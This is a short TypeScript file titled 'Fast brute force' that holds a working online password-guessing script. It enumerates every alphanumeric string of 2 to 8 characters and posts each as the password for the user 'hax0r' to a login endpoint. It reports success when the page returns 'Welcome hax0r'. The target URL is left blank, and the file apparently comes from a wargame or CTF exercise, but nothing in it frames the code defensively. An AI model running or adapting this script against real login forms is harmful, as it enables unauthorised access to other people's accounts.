Fast brute force

main.ts

import axios from 'axios';

async function generateNoRecursion(len: number, chars: string[]) {
  let i;
  const indices = [];
  for (i = 0; i < len; ++i)
    indices.push(0);

  while (indices[0] < chars.length) {
    let str = "";
    for (i = 0; i < indices.length; ++i) {
      str += chars[indices[i]];
    }
    indices[len - 1]++;
    for (i = len - 1; i > 0 && indices[i] == chars.length; --i) {
      indices[i] = 0;
      indices[i - 1]++;
    }

    await axios.post('', {
      id: 'hax0r',
      pw: str
    }).then((res) => {
      if (res.data.search(`Welcome hax0r`) != -1) {
        console.log(res.data.search(`Welcome hax0r`))
        console.log('Get password', str);
      }
    })
  }
}

function brute(chars: string[], min: number, max: number)
{
  for (let l = min; l <= max; ++l) {
    generateNoRecursion(l, chars);
  }
}

const lowerAlph = ["a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"];
const upperCaseAlp = ["A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z"];
const numbering = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9].map(n => n.toString());

console.log(brute([...lowerAlph, ...upperCaseAlp, ...numbering], 2, 8))